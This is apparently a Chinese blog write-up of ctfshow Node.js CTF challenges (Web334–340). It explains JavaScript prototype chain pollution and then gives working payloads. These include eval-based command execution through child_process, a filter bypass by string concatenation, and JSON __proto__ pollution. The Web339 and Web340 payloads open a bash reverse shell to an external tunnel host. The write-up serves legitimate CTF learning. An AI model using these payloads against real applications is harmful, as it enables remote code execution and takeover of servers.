NodeJS

前言

极客2024复现的时候发现原型链污染太不熟练了,这里重刷一遍nodejs,然后以知识点总结的形式记录一遍

知识点

一些语法就不说了,这里复制粘贴一下之前写的原型链污染的原理

原型链污染是和ssti,是通过类的继承机制实现的漏洞。要了解原型链污染,就要先知道原型链是什么?原型是什么?

原型

​ JavaScript继承机制的思想是,把属性和方法定义在原型上,那么所有的实例对象都能共享这些属性和方法。(类似于父类子类的关系)

每个类都有一个prototype属性,指向该类的对象的原型对象(父类) 而每个对象的__proto__属性,则是指向该对象的原型对象

原型链

​ 所有的类都可以当原型对象,且所有的对象都有原型对象。没错,原型对象也有属于它的原型对象,这就是所谓的原型链

举个例子:son.prototype = new father(),也就是说son的原型对象是father,father的原型对象是object,object的原型对象是null。 那么这条原型链就是son—->father—>object—>null

在调用对象属性时,如果该对象没有这个属性,那么JavaScript引擎会去寻找该对象的原型对象是否有这个属性,直到null

img

这里我们可以看到,son是没有first_name的,这里运行出来仍有

原型链污染

​ 上面区区几段话是肯定不能完全理解的,接下来会通过这个漏洞,加深对这个概念的理解

​ 当我们更改原型对象A的属性时,会反馈到所有以A为原型对象的对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function Father() {
    this.first_name = '王'
    this.last_name = '爸'
}
 
function Son() {
    this.last_name = '儿'
}
 
Son.prototype = new Father()
 
let son = new Son()
son.__proto__['add_name'] = '梓'
let son1 = new Son();
console.log(`son Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`son1 Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`father Name: ${son.__proto__.first_name}${son.__proto__.add_name}${son.__proto__.last_name} `)

img

我们可以看到,通过son.__proto__我们添加了一个新属性[add_name],这个新属性同样作用于了son1。

​ 再来看一个例子

1
2
3
4
5
6
let son = new Son()
son.__proto__['add_name'] = '梓'
let son1 = new Son();
console.log(`son Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`son1 Name: ${son.first_name}${son.add_name}${son.last_name} `)
console.log(`father Name: ${son.__proto__.first_name}${son.__proto__.add_name}${son.__proto__.last_name} `)

img

可是,知道有这么个漏洞,怎么利用呢?

原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。接下来靠习题理解。

习题

Web334

考点:toUpperCase()

有源码,其中给了用户名和密码,然后登入逻辑这里toUpperCase()是把字符串转小写,因此用小写绕过即可。

image-20250726110037067

ctfshow:123456

image-20250726110145107

Web335

考点:nodejs命令执行

源代码里提示get传eval。

通过引入Nodejs内置的child_process模块创建子进程,可以再用execSync()函数执行命令,并返回一个Buffer对象,最后用tostring()将buffer对象转化为字符串,这样就能看到命令的输出结果。

1
?eval=require('child_process').execSync('cat fl00g.txt').toString()

image-20250726113136373

Web336

考点:nodejs命令执行2

ban了exec

1
?eval=require('child_process').spawnSync('ls').stdout.toString();

execSync 不同,spawnSync 不会使用 shell 来执行命令(除非指定 shell 选项),而是直接执行命令。

spawnSync 的第一个参数是命令,第二个参数是参数数组(可选),第三个参数是选项(可选),所以用cat的话需要传参数数组

spawnSync返回一个对象,该对象包含子进程的详细信息。其中,stdout 属性是一个 Buffer,然后tostring就行

1
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

image-20250726122322490

也可以用拼接绕过exec

1
?eval=require('child_process')['exe'+'cSync']('ls').toString()

Web337

考点:数组绕过MD5

关键源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

和php差不多

image-20250726122701847

Web338

考点:原型链污染

源码要求secert的ctfshow参数的值为36dboy

image-20250726123325856

我们登录页面是用JSON的形式传的,可以在这里传入secret的原型,改变原型的ctfshow的值

1
"__proto__":{"ctfshow":"36dboy"}

image-20250726123704234

Web339

考点:原型链污染反弹shell

有源码,但是我们无法像上题一样直接通过proto修改源码的值,之前是因为没有ctfshow这个值,所以会向上寻找,我们污染了原型就能成功。

这里是因为本身是有secert.ctfshow这个属性的,所以并不会向上寻找,我们污染原型也米有用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  //console.log(user.query)
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

但是这题有个api.js

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

我们可以通过原型链控制这个query,使这个query的值最后可以执行我们的命令

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.cpolar.top/13786 0>&1\"')"}}

在/login发完包之后要进一下/api,不然不会执行这段代码

(这里反弹shell我用的是Cpolar内网穿透,这样就不用搞服务器了)

image-20250726150554543

Web340

考点:二次链原型链污染反弹shell

和上题差不多,直接污染两层就行

image-20250726124126378

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.cpolar.top/13786 0>&1\"')"}}}

后续的题目都是围绕ejs模板漏洞,也对,是nodejs的题目,又不是原型链污染的题目。不过这里主要是想学习原型链污染,这里就先写道这里。

小结

有点小失望,我以为ctfshow里的题目会挺好的,感觉不符合预期。不过也是学到了一些东西,对原型链污染的理解更深刻了,然后发现了一种新的反弹shell的方法,挺不错的。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计